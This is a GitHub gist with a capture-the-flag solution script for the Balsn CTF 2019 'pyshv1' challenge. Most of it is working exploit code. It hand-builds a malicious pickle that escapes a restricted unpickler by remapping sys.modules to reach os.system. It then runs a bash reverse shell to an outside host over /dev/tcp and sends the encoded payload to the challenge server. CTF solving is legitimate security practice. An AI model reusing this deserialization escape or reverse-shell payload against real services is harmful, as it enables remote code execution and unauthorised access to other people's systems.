Created
October 7, 2019 06:38
-
-
Save icchy/0ea1886f4decebdf9393665b7d102bb4 to your computer and use it in GitHub Desktop.
Balsn CTF 2019 pyshv1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import io | |
whitelist = ['sys'] | |
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals | |
class RestrictedUnpickler(pickle.Unpickler): | |
def find_class(self, module, name): | |
print(module) | |
if module not in whitelist or '.' in name: | |
raise KeyError('The pickle is spoilt :(') | |
return pickle.Unpickler.find_class(self, module, name) | |
def loads(s): | |
"""Helper function analogous to pickle.loads().""" | |
return RestrictedUnpickler(io.BytesIO(s)).load() | |
dumps = pickle.dumps | |
import sys | |
import os | |
import pickletools | |
class MyPickler(): | |
import pickle | |
def __init__(self): | |
self._binput = 0 | |
def binput(self): | |
ret = pickle.BINPUT + self._binput.to_bytes(1, 'little') | |
self._binput += 1 | |
return ret | |
def string(self, s): | |
return pickle.STRING + b"'" + s.encode() + b"'" + b"\n" | |
def end(self): | |
return b'.' | |
def reduce(self): | |
return b'R' | |
def tuple(self, size): | |
assert size >= 1 | |
return (0x84+size).to_bytes(1, 'little') | |
def cglobal(self, module, name): | |
return b'c' + module.encode() + b'\n' + name.encode() + b'\n' | |
mp = MyPickler() | |
s = b'' | |
# sys.modules['sys'] = sys.modules | |
s += mp.cglobal('sys', 'modules') | |
s += mp.binput() | |
s += mp.string('sys') | |
s += mp.cglobal('sys', 'modules') | |
s += b's' | |
s += b'0' | |
# sys.modules.get('os') | |
s += mp.cglobal('sys', 'get') | |
s += mp.string('os') | |
s += mp.tuple(1) | |
s += mp.reduce() | |
# memo[0] = sys.modules | |
# memo[1] = os | |
s += mp.binput() | |
# sys.modules['sys'] = os | |
s += b'g0\n' | |
s += mp.string('sys') | |
s += b'g1\n' | |
s += b's' | |
s += b'0' | |
# reduce (os.system, (cmd, )) | |
s += mp.cglobal('sys', 'system') | |
s += mp.string('/bin/bash -c "bash -i >& /dev/tcp/tonkatsu.info/10080 0>&1"') | |
s += mp.tuple(1) | |
s += mp.reduce() | |
s += mp.end() | |
# print(pickle.loads(s)) | |
# pickletools.dis(s) | |
# print(repr(s)) | |
# RestrictedUnpickler(io.BytesIO(s)).load() | |
import socket | |
sock = socket.socket() | |
sock.connect(("pysh1.balsnctf.com", 5421)) | |
import base64 | |
payload = base64.b64encode(s) | |
sock.send(payload + b'\n') | |
sock.send(b'hoge\n') | |
print(sock.recv(10)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment